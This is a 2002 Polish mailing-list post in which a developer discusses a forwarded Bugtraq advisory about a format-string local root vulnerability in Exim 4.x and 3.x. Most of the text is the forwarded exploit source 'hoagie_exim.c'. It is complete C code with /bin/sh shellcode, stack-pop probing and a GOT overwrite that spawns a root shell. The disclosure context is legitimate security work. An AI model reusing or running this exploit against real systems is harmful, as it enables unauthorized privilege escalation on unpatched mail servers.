local root w EXIM
Paweł Gołaszewski
blues w ds6.pg.gda.pl
Czw, 5 Gru 2002, 10:24:09 CET
On Wed, 4 Dec 2002, Michal Kochanowicz wrote:
> Raczej bez paniki.
Czy ktoś potrafi zweryfikować exima z Ra?
exploit u mnie nie chodzi.
Poza tym odpowiedni fragment kodu wygląda zupełnie inaczej (a raczej jest
jego brak...)
> ----- Forwarded message from Wana Thomas <01psi194 w fhwn.ac.at> -----
>
> > Date: Wed, 04 Dec 2002 16:40:29 +0100
> > From: Wana Thomas <01psi194 w fhwn.ac.at>
> > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826
> > To: bugtraq w securityfocus.com
> > Subject: Local root vulnerability found in exim 4.x (and 3.x)
> >
> > Overview
> > --------
> >
> > A local root vulnerability has been discovered in
> > Exim 4.x (4.10 verified and exploit available) and in
> > Exim 3.x (3.35 verified).
> >
> > Impact
> > ------
> >
> > The vulnerability can only be exploited by the
> > "admin user" of exim, who is determined by compiled-in
> > values. Thus the RISK of this vulnerability is LOW.
> >
> > Details
> > -------
> >
> > This is a format string bug in daemon.c, line 976:
> >
> > sprintf(CS buff, CS pid_file_path, ""); /* Backward compatibility */
> >
> > pid_file_path can be changed on the command line.
> > This line is in the function daemon_go(), which only
> > gets executed when the user is an exim-admin-user.
> >
> > This restricts the impact of this vulnerability a lot.
> > Standard configurations on all distributions should be
> > safe (verified: Debian Woody i386)
> >
> > Solution
> > --------
> >
> > Exim developers have been informed and a patch will be
> > ready shortly.
> >
> > Exploit
> > -------
> >
> > Please find attached a demonstration exploit of this
> > vulnerability, tested on Debian Woody i386.
> >
> > There are four important defines to change before the
> > exploit will work - see the file for details.
> >
> > Discovered by
> > -------------
> >
> > Thomas Wana <01psi194 w fhwn.ac.at>
> >
> > Credits
> > -------
> >
> > greetings to the hoagie industries security group :-)
> >
> >
> >
>
> > /***********************************************************
> > * hoagie_exim.c
> > *
> > * local root exploit for exim 4.10 and probably others.
> > * [only works for exim admin users]
> > *
> > * Format string bug when handling with the pid_file_path.
> > *
> > * Author: Thomas Wana <01psi194 w fhwn.ac.at>
> > *
> > * Greetz to andi and the other hoagie-fellas :-)
> > *
> > * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
> > * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
> > * DAMAGE DONE USING THIS PROGRAM.
> > *
> > ************************************************************/
> >
> > #include <stdio.h>
> > #include <errno.h>
> > #include <unistd.h>
> > #include <signal.h>
> > #include <sys/types.h>
> > #include <string.h>
> >
> > /*******************************************************
> > * CRUCIAL VALUES
> > *
> > * these standard values work for Debian Woody i386,
> > * source build.
> > *
> > * Play with the padding if the program can't find the
> > * right stackpop values.
> > *
> > * ALTERNATE_PORT is the port where exim will bind during
> > * the stackpop sequences. The port will be incremented by
> > * one for each try, so expect to have many instances of
> > * exim running. (this is because the port is bound to as
> > * root and the user program can't kill that process anymore)
> > *
> > * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
> > *
> > * Shellcode-Address can vary, it is dependant on the size
> > * of the current environment. I had values between 0xbffffb00
> > * and 0xbffffe90.
> > *
> > ********************************************************/
> > #define PADDING 3
> > #define ALTERNATE_PORT 3330
> > #define FOPEN_GOT_ADDRESS 0x080b6194
> > #define SHELLCODE_ADDRESS 0xbffffd00
> >
> > #define SB4(a) ((unsigned int)(a>>24))
> > #define SB3(a) ((unsigned int)((a>>16)&0xFF))
> > #define SB2(a) ((unsigned int)((a>>8)&0xFF))
> > #define SB1(a) ((unsigned int)(a&0XFF))
> >
> > char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> > "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
> > "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
> > "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
> > "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
> > "\xff/bin/sh";
> >
> > int port=ALTERNATE_PORT;
> > char path[100];
> >
> > int check_for_AAAA(char *line)
> > {
> > int rval=0;
> > char *endptr;
> >
> > if(strstr(line,"too long"))
> > {
> > endptr=strrchr(line,':')-8;
> > }
> > else
> > {
> > endptr=line+strlen(line)-1-8;
> > }
> > if(strstr(endptr,"41414141")) rval=1;
> > return rval;
> > }
> >
> > int calc_bytes_written(char *line)
> > {
> > int rval=0;
> > char *p;
> > if((p=strrchr(line,':')))
> > {
> > rval=(p-line);
> > }
> > else
> > {
> > rval=strlen(line);
> > }
> > if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
> > else rval-=strlen("failed to open pid file ");
> > return rval;
> > }
> >
> > void getstackpops(int *bigs, int *smalls, int *bytes_written)
> > {
> > int cpid;
> > int pipedes[2];
> > int found=0;
> > int bs=0, ss=1;
> > char hilf[10];
> >
> > printf("Getting stackpops ...\n");
> > *bigs=0;
> > *smalls=1;
> >
> > while(!found)
> > {
> > if(pipe(pipedes))
> > {
> > perror("pipe");
> > exit(1);
> > }
> >
> > port++;
> > cpid=fork();
> > if(cpid==0)
> > {
> > // child process
> >
> > char fs[10000];
> > int i;
> >
> > // close stderr and recreate it pointing into the pipe
> > close(2);
> > dup2(pipedes[1],2);
> >
> > // make new formatstring
> >
> > strcpy(fs,"/tmp/%s");
> > for(i=0;i<PADDING;i++)
> > strcat(fs,"Z");
> > strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
> > for(i=0;i<bs;i++)
> > strcat(fs,"%+e");
> > for(i=0;i<ss;i++)
> > strcat(fs,"%08x");
> >
> > // execute exim
> > sprintf(hilf,"%d",port);
> > execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
> > }
> > else if(cpid>0)
> > {
> > // parent process
> > FILE *fp=fdopen(pipedes[0],"r");
> > char line[10000];
> > if(fp)
> > {
> > do
> > {
> > fgets(line,10000,fp);
> > line[strlen(line)-1]=0;
> > /* printf("%s\n",line); ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
> > if(strstr(line,"pid written to ") ||
> > strstr(line,"failed to open pid file "))
> > {
> > if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
> > if(check_for_AAAA(line)==1)
> > {
> > // stackpops found, values are OK
> > found=1;
> > bs--; // revert 2 stackpops
> > printf("Stackpops found ;-)\n");
> > *bigs=bs;
> > *smalls=ss;
> > *bytes_written=calc_bytes_written(line)-13;
> > }
> > else
> > {
> > // increase stackpops
> > ss++;
> > if(ss==3) bs++, ss=1;
> > printf("trying bs=%d, ss=%d\n",bs,ss);
> > }
> > }
> > } while(!strstr(line,"Listening..."));
> > fclose(fp);
> > }
> > else perror("fdopen");
> > kill(cpid,SIGINT);
> > usleep(100000);
> > }
> > else perror("fork");
> > close(pipedes[0]);
> > close(pipedes[1]);
> > }
> > }
> >
> > void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
> > int *p4, int bytes_written)
> > {
> > // greetings to scud :-)
> > int write_byte;
> > int already_written;
> > int padding;
> >
> > write_byte=SB1(addr);
> > already_written=bytes_written;
> > write_byte+=0x100;
> > already_written%=0x100;
> > padding=(write_byte-already_written)%0x100;
> > if(padding<10) padding+=0x100;
> > *p1=padding;
> >
> > write_byte=SB2(addr);
> > already_written+=padding;
> > write_byte+=0x100;
> > already_written%=0x100;
> > padding=(write_byte-already_written)%0x100;
> > if(padding<10) padding+=0x100;
> > *p2=padding;
> >
> > write_byte=SB3(addr);
> > already_written+=padding;
> > write_byte+=0x100;
> > already_written%=0x100;
> > padding=(write_byte-already_written)%0x100;
> > if(padding<10) padding+=0x100;
> > *p3=padding;
> >
> > write_byte=SB4(addr);
> > already_written+=padding;
> > write_byte+=0x100;
> > already_written%=0x100;
> > padding=(write_byte-already_written)%0x100;
> > if(padding<10) padding+=0x100;
> > *p4=padding;
> > }
> >
> > int main(int argc, char **argv)
> > {
> > int bigpops, smallpops, bytes_written, i;
> > unsigned char fs[10000], hilf[1000];
> > unsigned long a=FOPEN_GOT_ADDRESS,
> > b=FOPEN_GOT_ADDRESS+1,
> > c=FOPEN_GOT_ADDRESS+2,
> > d=FOPEN_GOT_ADDRESS+3;
> > unsigned int p1,p2,p3,p4;
> >
> > if(argc!=2)
> > {
> > printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
> > printf("./hoagie_exim path_to_exim\n\n");
> > exit(1);
> > }
> > strcpy(path,argv[1]); // exploiting an exploit? hehe
> >
> > getstackpops(&bigpops,&smallpops,&bytes_written);
> > printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
> > printf("Written bytes: %d\n",bytes_written);
> >
> > strcpy(fs,"/tmp/%s");
> > for(i=0;i<PADDING;i++)
> > strcat(fs,"Z");
> >
> > sprintf(hilf,"0000%c%c%c%c"
> > "0000%c%c%c%c"
> > "0000%c%c%c%c"
> > "0000%c%c%c%c",
> > SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
> > SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d));
> > strcat(fs,hilf);
> > for(i=0;i<bigpops;i++)
> > strcat(fs,"%+e");
> > for(i=0;i<smallpops;i++)
> > strcat(fs,"%08x");
> >
> > get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);
> >
> > sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
> > strcat(fs,hilf);
> >
> > // GET ROOT
> > printf("calling exim with fs='%s'\n",fs);
> > sprintf(hilf,"%d",++port);
> > execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
> >
> > return 0;
> > }
> >
> >
> >
>
>
> ----- End forwarded message -----
>
>
--
---------------------------------
pozdr. Paweł Gołaszewski
---------------------------------
CPU not found - software emulation...
Więcej informacji o liście dyskusyjnej pld-devel-pl